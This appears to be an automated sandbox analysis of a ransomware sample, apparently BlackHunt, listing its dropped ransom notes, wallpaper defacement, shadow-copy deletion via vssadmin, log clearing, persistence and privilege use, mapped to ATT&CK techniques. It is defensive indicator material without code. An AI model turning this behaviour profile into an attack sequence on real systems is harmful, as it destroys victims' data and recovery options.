File opened (read-only)	\??\G:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\H:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\X:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\I:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\G:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\I:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\L:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\K:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\E:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3038529890-304741975-475214286-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3038529890-304741975-475214286-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\uk-ua\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons.png	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\sk-sk\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\sv-se\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\[email protected]	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugin.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\#BlackHunt_ReadMe.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\da-dk\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ko-kr\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sk-sk\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\de-de\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ug.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-gb\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-ma\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_retina.png	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\line_2x.png	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ko-kr\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\sv-se\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\da-dk\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\nb-no\#BlackHunt_ReadMe.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_retina.png	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\de-de\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\pl-pl\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Google\GoogleUpdater\141.0.7340.0\Crashpad\attachments\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 7.0.16 (x64).swidtag	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sv-se\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ko-kr\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\nb-no\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\pt-br\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\#BlackHunt_ReadMe.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hu-hu\#BlackHunt_ReadMe.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\da-dk\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightItalic.ttf	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\acrobat_parcel_generic_32.svg	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hr-hr\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\it-it\#BlackHunt_ReadMe.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\ja-jp\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\pl-pl\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\S_IlluEmptyStateDCFiles_280x192.svg	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\es-es\#BlackHunt_ReadMe.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\uk-ua\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\tr-tr\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\hu-hu\#BlackHunt_ReadMe.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\nl-nl\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\tr-tr\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\#BlackHunt_ReadMe.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\tr-tr\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\selector.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_100_percent.pak	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\zh-cn\ui-strings.js	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\en-gb\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\pt-br\#BlackHunt_Private.key	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.hta	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#BlackHunt_ReadMe.txt	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
30008	cmd.exe
11468	PING.EXE
21136	cmd.exe
31992	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe

Interacts with shadow copies 3 TTPs 16 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
11988	vssadmin.exe
9352	vssadmin.exe
18336	vssadmin.exe
7728	vssadmin.exe
12684	vssadmin.exe
7800	vssadmin.exe
12472	vssadmin.exe
20900	vssadmin.exe
5960	vssadmin.exe
5412	vssadmin.exe
5368	vssadmin.exe
6832	vssadmin.exe
3348	vssadmin.exe
13652	vssadmin.exe
5288	vssadmin.exe
12716	vssadmin.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
30440	taskkill.exe
13860	taskkill.exe

Modifies registry class 18 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3038529890-304741975-475214286-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3038529890-304741975-475214286-1000_Classes\Local Settings	cmd.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
11468	PING.EXE
31992	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6288	schtasks.exe
12964	schtasks.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
28316	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeRestorePrivilege	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeBackupPrivilege	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeTakeOwnershipPrivilege	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeAuditPrivilege	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeSecurityPrivilege	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeIncBasePriorityPrivilege	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeBackupPrivilege	19580	vssvc.exe
Token: SeRestorePrivilege	19580	vssvc.exe
Token: SeAuditPrivilege	19580	vssvc.exe
Token: SeDebugPrivilege	28316	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeRestorePrivilege	28316	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeBackupPrivilege	28316	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeTakeOwnershipPrivilege	28316	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeAuditPrivilege	28316	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeSecurityPrivilege	28316	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeIncBasePriorityPrivilege	28316	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Token: SeBackupPrivilege	28348	wbengine.exe
Token: SeRestorePrivilege	28348	wbengine.exe
Token: SeSecurityPrivilege	28348	wbengine.exe
Token: SeSecurityPrivilege	29724	wevtutil.exe
Token: SeBackupPrivilege	29724	wevtutil.exe
Token: SeSecurityPrivilege	10384	wevtutil.exe
Token: SeBackupPrivilege	10384	wevtutil.exe
Token: SeSecurityPrivilege	8324	wevtutil.exe
Token: SeBackupPrivilege	8324	wevtutil.exe
Token: SeSecurityPrivilege	17468	wevtutil.exe
Token: SeBackupPrivilege	17468	wevtutil.exe
Token: SeSecurityPrivilege	11000	wevtutil.exe
Token: SeBackupPrivilege	11000	wevtutil.exe
Token: SeDebugPrivilege	30440	taskkill.exe
Token: SeSecurityPrivilege	31712	wevtutil.exe
Token: SeBackupPrivilege	31712	wevtutil.exe
Token: SeSecurityPrivilege	13992	wevtutil.exe
Token: SeBackupPrivilege	13992	wevtutil.exe
Token: SeSecurityPrivilege	14160	wevtutil.exe
Token: SeBackupPrivilege	14160	wevtutil.exe
Token: SeSecurityPrivilege	10500	wevtutil.exe
Token: SeBackupPrivilege	10500	wevtutil.exe
Token: SeSecurityPrivilege	21156	wevtutil.exe
Token: SeBackupPrivilege	21156	wevtutil.exe
Token: SeDebugPrivilege	13860	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1428 wrote to memory of 1808	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	78
PID 1428 wrote to memory of 4316	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	80
PID 1428 wrote to memory of 2528	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	82
